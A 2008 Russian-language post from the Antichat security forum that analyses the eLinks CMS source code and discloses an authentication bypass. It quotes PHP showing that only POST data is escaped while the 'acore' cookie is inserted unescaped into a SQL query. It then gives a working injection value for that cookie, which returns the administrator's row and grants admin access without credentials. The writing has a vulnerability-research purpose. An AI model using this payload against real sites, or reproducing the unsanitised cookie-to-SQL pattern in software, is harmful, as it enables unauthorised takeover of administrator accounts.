ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

[eLinks] Vulnerabilities
  #1  
Старый 12.12.2008, 18:28
Аватар для [x26]VOLAND
[x26]VOLAND
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме:
7549607

Репутация: 2702


Отправить сообщение для [x26]VOLAND с помощью ICQ Отправить сообщение для [x26]VOLAND с помощью AIM
Arrow [eLinks] Vulnerabilities

[eLinks] Vulnerabilities

Собственно, задание ROA#004 подтолкнуло к поиску багов в этой CMS.
В этой теме предлагаю выкладывать баги найденные в ходе исследования исходников.


------------------------------------------------------------------------------
#1 [ Обход авторизации ]
Необходимое условие: magic_quotes_gpc = Off

Первым делом я решил проверить панель логина админки (http://[elinks]/asm_admin.php) на предмет фильтрации полей. Но, к сожалению, все POST-данные фильтровались встроенной функцией setGPC.
[core/asm_config.php]
PHP код:
function setGPC (&$array)
// begin function: setGPC
    
foreach ($array as $key => $value) {
        if (
true == is_array($value)) {
            
setGPC($array[$key]);
        } else {
            
$array[$key] = addslashes($value);
        }
    }
    
reset($array);
// end function: setGPC
---------------------------
if (!
get_magic_quotes_gpc()) {
    
setGPC($_POST);
    
reset($_POST);

Как мы видим, фильтруются только POST-данные, что не может не радовать. Тогда я принялся исследовать алгоритм аутентификации (опознавания пользователя).
[core/asm_function.php]
PHP код:
function auth ()
{
    global 
$api
    
$session = @$_COOKIE['acore'];
    if (
$session != '' && $session != '-1')
    {
        if (
true == isset($_SESSION['user']['groups'])) { return true; }

        
$rs $api->DB->query("SELECT * FROM asm_s_members WHERE session = '".$session."' LIMIT 1");
        
        if (
$rs->count() == 1)
        {
            
$_SESSION['user'] = $rs->row();
            
$api->DB->query("UPDATE asm_s_members SET atime = '".time()."' WHERE session = '".$session."' LIMIT 1");
            return 
true;
        }
    }
    
setAuth(0);
    

Аутентификация осуществляется по COOKIE-переменной acore.
Задав этой переменной значение
word' OR member_id = '1
Получаем запрос
SELECT * FROM asm_s_members WHERE session = 'word' OR member_id = '1' LIMIT 1
Так как сессии с именем 'word' существовать не может, происходит выборка данных администратора (member_id=1).
Обновляем страницу и оказываемся в админке.
В итоге, не зная даже логина, мы можем зайти под любым пользователем.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Symantec Scan Engine Multiple Vulnerabilities NeMiNeM Forum for discussion of ANTICHAT 1 25.04.2006 18:08
osTicket <= 1.3.1 Multiple vulnerabilities Rebz Мировые новости 0 03.07.2005 13:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ